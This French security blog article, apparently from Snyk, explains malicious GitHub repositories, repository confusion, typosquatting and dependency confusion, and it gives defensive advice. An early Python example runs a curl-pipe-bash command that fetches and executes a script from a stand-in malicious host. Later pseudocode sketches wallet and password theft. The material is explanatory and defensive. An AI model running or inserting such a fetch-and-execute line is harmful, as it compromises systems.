GitHub « assiégé » par des dépôts malveillants et la confusion entre dépôts : pourquoi vous ne risquez rien

À mesure que le développement de logiciels open source évolue, leur exposition aux menaces de cybersécurité évolue également. On peut citer la découverte récente de dépôts malveillants sur GitHub. Lors de cette cyberattaque, des acteurs malveillants ont réussi à téléverser du code malveillant sur GitHub, une plateforme qui héberge des millions de dépôts de code et que des développeurs du monde entier utilisent.

Ces dépôts malveillants sur GitHub ne menacent pas seulement les développeurs, mais aussi les organisations dans leur ensemble. Lorsque ces dépôts sont clonés ou que leur code est intégré à d’autres projets, le malware peut se propager et entraîner des fuites de données ou la compromission de systèmes. Dans de précédents articles de Snyk, nous avons abordé des menaces connexes comme le typosquatting et la confusion de dépendances. En suivant les bonnes pratiques généralement reconnues, vous pouvez éviter ce type de risque. Nous les rappelons ci-dessous, ainsi que quelques outils Snyk comme Snyk Advisor et Snyk Learn, avant d’examiner de plus près cette attaque particulière contre GitHub. Il convient de noter que ce type d’attaque ne se limite pas nécessairement à GitHub. Tout système de gestion de dépôts de code source permettant de partager et de copier librement du code peut héberger ce genre de code malveillant.

# Example of a potentially harmful code snippet in a repository
def malicious_function():
    import os
    os.system('curl https://malicious-website.com/malware_script.sh | bash')

La fonction Python hypothétique ci-dessus peut, une fois exécutée, lancer une commande shell pour télécharger et exécuter un script malveillant depuis un serveur externe. Elle souligne l’importance d’examiner attentivement le code provenant de dépôts externes.

Se protéger, ainsi que son équipe, des malwares sur GitHub : bonnes pratiques et hygiène de sécurité

À l’heure où le développement open source est devenu la norme et où les dépôts GitHub regorgent de code réutilisable, il est de plus en plus essentiel de veiller à l’hygiène de sécurité du code que nous utilisons. Cette section aborde l’importance de vérifier les dépôts de code et leur légitimité, les risques liés au clonage de dépôts malveillants, ainsi que les recommandations destinées aux équipes de sécurité pour préparer les développeurs.

Vérifier les dépôts de code

Dans le développement logiciel, la vérification des dépôts de code est une étape essentielle qu’il ne faut pas négliger. En examinant soigneusement les dépôts, les développeurs peuvent éviter d’intégrer du code potentiellement malveillant à leurs projets. GitHub, par exemple, héberge un grand nombre de dépôts, et il n’est pas rare d’y trouver des malwares déguisés en code utile.

Il est essentiel d’examiner attentivement le code avant de l’intégrer à votre projet. Cela implique de vérifier l’historique du dépôt, ses contributeurs et les problèmes signalés. Les dépôts avec un seul contributeur, un historique récent ou des problèmes de sécurité non résolus doivent être abordés avec prudence.

Pour vérifier des bibliothèques open source et des packages logiciels sur npm, PyPI, RubyGems et d’autres registres de packages, il est vivement recommandé aux développeurs d’utiliser l’outil Web Snyk Advisor. Celui-ci fournit un score de santé pour les packages et bibliothèques open source, qui tient compte de leur posture de sécurité, de leur état de maintenance et de leurs licences.

Recommandations pour aider les équipes de sécurité à préparer leurs équipes de développement

Les équipes de sécurité jouent un rôle essentiel dans la sécurisation de l’environnement de développement. Voici quelques recommandations à leur intention :

1. Former les développeurs : Organisez régulièrement des ateliers ou des formations sur l’importance de vérifier le code, de contrôler la légitimité des dépôts et de connaître les attaques visant la chaîne d’approvisionnement open source, comme le typosquatting et la confusion de dépendances.

2. Mettre en place des outils de sécurité : Utilisez des outils de sécurité capables d’analyser automatiquement les dépôts à la recherche de vulnérabilités connues ou d’activités suspectes.

3. Adopter des pratiques de codage sécurisé : Encouragez les pratiques de codage sécurisé au sein de l’équipe. Cela peut inclure des revues de code par les pairs, l’utilisation de linters intégrant des règles de sécurité et des audits réguliers.

4. Prévoir un plan de réponse aux incidents : Mettez en place un plan de réponse aux incidents au cas où un dépôt malveillant provoquerait une faille de sécurité.

En appliquant ces bonnes pratiques et en maintenant une bonne hygiène de sécurité, vous pouvez protéger votre processus de développement logiciel contre les menaces cachées dans les dépôts GitHub.

Comprendre la confusion entre dépôts

Dans ce contexte, la « confusion entre dépôts » désigne une stratégie utilisée par les attaquants. Elle consiste à créer des dépôts dont les noms ressemblent à ceux de projets légitimes existants. L’objectif est de piéger les développeurs pour qu’ils utilisent le mauvais dépôt et téléchargent puis exécutent, sans le savoir, du code malveillant.

Par exemple, si un dépôt populaire s’appelle legitimate_repo, un attaquant peut en créer un autre nommé legitimate-repo ou legitimate_repo1. Des développeurs qui ne se méfient pas peuvent les confondre avec l’original et les cloner, sans se rendre compte qu’ils tombent dans un piège. Une autre variante courante, observée lors des incidents liés aux dépôts malveillants sur GitHub, consiste à utiliser une version dérivée d’un dépôt populaire et à la publier comme nouveau dépôt.

Attaques par malware, typosquatting et confusion de dépendances

La confusion entre dépôts est étroitement liée à deux autres menaces de cybersécurité : les attaques par typosquatting et par confusion de dépendances. Le typosquatting consiste à enregistrer des noms de domaine ressemblant à des noms populaires ou à publier des packages sur des registres open source comme npm et PyPI, dans l’espoir de piéger les développeurs qui font une faute de frappe en saisissant l’URL ou le nom du package à installer. Dans le contexte de GitHub, il peut s’agir de créer des dépôts dont les noms ressemblent beaucoup à ceux de dépôts populaires : une seule lettre de différence, ou un compte différent avec le même nom de dépôt.

Les attaques par confusion de dépendances exploitent quant à elles la façon dont les gestionnaires de packages traitent les dépendances. Si un projet logiciel dépend d’un package absent du registre public, mais disponible dans un registre privé, un attaquant peut créer un package portant le même nom dans le registre public. Le gestionnaire de packages risque alors de télécharger le package malveillant au lieu du package légitime.

// Example of a potentially dangerous package.json file
{
  "name": "legitimate-package",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "dependencies": {
    "private-package": "^1.0.0"
  }
}

Dans l’exemple ci-dessus, si private-package n’existe pas dans le registre npm public, mais qu’un attaquant y a publié une version malveillante, l’exécution de npm install peut entraîner le téléchargement et l’installation du package malveillant.

L’attaque par dépôts malveillants sur GitHub, associée aux attaques par confusion entre dépôts, typosquatting et confusion de dépendances, représente une grave menace pour la sécurité du développement logiciel open source. Elle souligne la nécessité, pour les développeurs, de faire preuve de prudence lors de l’utilisation de code tiers et d’adopter des mesures de cybersécurité robustes.

Comprendre l’attaque par dépôts malveillants sur GitHub

Que s’est-il passé lors de l’attaque par dépôts malveillants sur GitHub ? Examinons les détails de cet incident, une méthode d’infiltration des postes de travail des développeurs. Nous verrons comment l’attaque s’est déroulée, les tactiques employées par les attaquants et les dommages potentiels.

La première occurrence connue de cette attaque remonte au 28 février 2024. Un utilisateur anonyme a apparemment forké un dépôt open source populaire, puis l’a publié comme nouveau dépôt, dans un geste qui semblait anodin. Mais on a rapidement découvert que le dépôt nouvellement publié était moins inoffensif qu’il n’y paraissait.

Les auteurs de l’attaque avaient dissimulé un malware obfusqué dans le code, transformant ainsi le dépôt en véritable champ de mines. Les développeurs qui ont cloné ou forké ces dépôts ont introduit le malware dans leurs systèmes locaux sans le savoir.

Méthode des attaquants : forker des dépôts de code et y intégrer des malwares

Les attaquants ont utilisé une technique habile et discrète. Ils ont forké des dépôts de code open source existants, une pratique courante chez les développeurs qui souhaitent contribuer à un projet open source. Ils ont ensuite ajouté du code malveillant obfusqué à ces dépôts.

Voici un exemple de création d’un fork et d’un nouveau dépôt :

git clone https://github.com/original/repo.git
cd repo
git remote rename origin upstream

Dans le processus de fork habituel illustré ci-dessus, l’attaquant ajouterait le code malveillant à cette étape, puis republierait le dépôt sur GitHub.

git add .
git commit -m "Add new feature"
git push origin master

Le malware obfusqué était conçu de telle sorte que le processus traditionnel de revue de code aurait du mal à le détecter. Lorsqu’il a été découvert, le code malveillant avait déjà infecté plusieurs systèmes de développeurs.

Dommages potentiels : vol de cryptomonnaies et de mots de passe

Le malware intégré avait pour principal objectif de dérober des informations sensibles sur les appareils infectés. Plus précisément, il ciblait les portefeuilles de cryptomonnaies et les mots de passe stockés sur les systèmes des développeurs.

Une fois installé sur le système, le malware recherchait des fichiers spécifiques associés à des portefeuilles de cryptomonnaies, comme Bitcoin et Ethereum, puis les transmettait à l’attaquant. Il tentait également de dérober les mots de passe stockés en texte brut ou sous une forme faiblement chiffrée.

Voici une représentation simplifiée, en pseudocode, des objectifs du malware :

def infiltrate_system():
    steal_files('*.wallet')
    steal_passwords()

def steal_files(file_pattern):
    # method to find and transmit wallet files

def steal_passwords():
    # method to find and transmit passwords

Le pseudocode ci-dessus donne une idée simplifiée de ce que le malware pourrait faire après s’être infiltré dans un système.

L’attaque par dépôts malveillants sur GitHub rappelle clairement l’importance de mesures de sécurité strictes dans le développement logiciel et les dangers potentiels qui se cachent dans l’écosystème open source. En tant que développeurs et professionnels de la sécurité, nous devons rester vigilants et suivre les bonnes pratiques pour prévenir ce type d’attaque.

Typosquatting et confusion de dépendances : des menaces étroitement liées

Dans le contexte des attaques par malware sur GitHub, deux autres menaces de cybersécurité courantes mais redoutables méritent notre attention : le typosquatting et la confusion de dépendances. Ces deux attaques sont étroitement liées à la récente découverte de dépôts malveillants sur GitHub. Pour bien comprendre leur lien et les risques qu’elles présentent, commençons par définir ces notions, puis examinons des exemples concrets d’attaques réussies.

Définition des attaques par typosquatting et confusion de dépendances

Dans le contexte des dépôts de code et des logiciels open source, le typosquatting est une forme de cyberattaque qui cible les développeurs qui saisissent incorrectement le nom d’une bibliothèque lors de l’installation de packages. Par exemple : npm install riact-dom au lieu de npm install react-dom. Les attaquants créent des packages malveillants dont les noms ressemblent à ceux de packages populaires, puis attendent que les développeurs fassent une faute de frappe. Lorsque ces derniers installent les packages malveillants, les attaquants peuvent dérober des informations sensibles ou injecter un malware dans leur système.

La confusion de dépendances est, quant à elle, un type d’attaque contre la chaîne d’approvisionnement qui vise les processus de développement logiciel open source. Le pirate crée un package malveillant portant le même nom qu’un package privé utilisé dans l’environnement de développement d’un projet. Lorsque le système de build du projet récupère les dépendances, il sélectionne par erreur le package public malveillant, qu’il prend pour le package privé. Du code malveillant peut ainsi pénétrer dans le code source du projet et l’infecter.

# Malicious package with same name as private package
# This is a Python example, but the attack extends to other languages (Node.js, Ruby, etc.)
def malicious_function():
    # This function could do anything: steal data, corrupt files, etc.

Exemples concrets d’attaques par typosquatting et confusion de dépendances

L’une des attaques par typosquatting les plus marquantes a visé en 2017 le registre officiel de packages Python, PyPI. Les attaquants y ont téléversé des packages malveillants dont les noms ressemblaient beaucoup à ceux de packages populaires, touchant des milliers d’utilisateurs qui les ont installés par erreur.

Un exemple récent d’attaque par confusion de dépendances a été découvert par le chercheur en sécurité Alex Birsan. Il a exploité cette vulnérabilité au sein de plusieurs entreprises de premier plan, dont Apple, Microsoft et PayPal, en injectant son propre code dans leurs systèmes internes. Il a créé des paquets malveillants portant les mêmes noms que les paquets privés utilisés par ces entreprises, puis les a publiés dans des dépôts de paquets publics. Lorsque les systèmes de compilation des entreprises ont récupéré les paquets, ils ont utilisé par inadvertance ceux de Birsan, permettant ainsi à son code de s’exécuter dans leurs systèmes.

En conclusion, les attaques par typosquattage et par confusion de dépendances représentent toutes deux une menace importante pour le développement de logiciels open source. Les développeurs et les entreprises doivent absolument connaître ces vecteurs d’attaque et mettre en place des mesures adaptées pour protéger leurs systèmes et leurs bases de code.

Conclusion

Pour résumer, nous avons examiné le problème des dépôts malveillants sur GitHub et la manière dont ils peuvent exploiter des failles courantes dans la sécurité des logiciels open source. Nous avons notamment vu comment ces dépôts peuvent recourir à des tactiques telles que le typosquattage et les attaques par confusion de dépendances pour infiltrer des systèmes sans méfiance.

En tant que développeurs et professionnels de la sécurité, nous sommes la première ligne de défense contre ce type de cybermenaces. Il est essentiel de respecter les bonnes pratiques et de maintenir une bonne hygiène de sécurité pour protéger notre code et nos systèmes.

La mise en œuvre de quelques stratégies clés peut grandement contribuer à vous protéger contre ces menaces :

• Vérifiez toujours l’intégrité des dépôts et des paquets avant de les utiliser. Il peut s’agir simplement de vérifier le nom d’utilisateur du propriétaire du dépôt ou, pour aller plus loin, de vérifier les signatures cryptographiques des paquets.

• Soyez vigilant face aux erreurs typographiques lorsque vous clonez des dépôts ou installez des paquets.

• Utilisez des flux de paquets privés pour vos paquets internes afin de réduire le risque d’attaques par confusion de dépendances.

• Mettez régulièrement à jour vos systèmes et appliquez les correctifs pour vous protéger contre les vulnérabilités connues.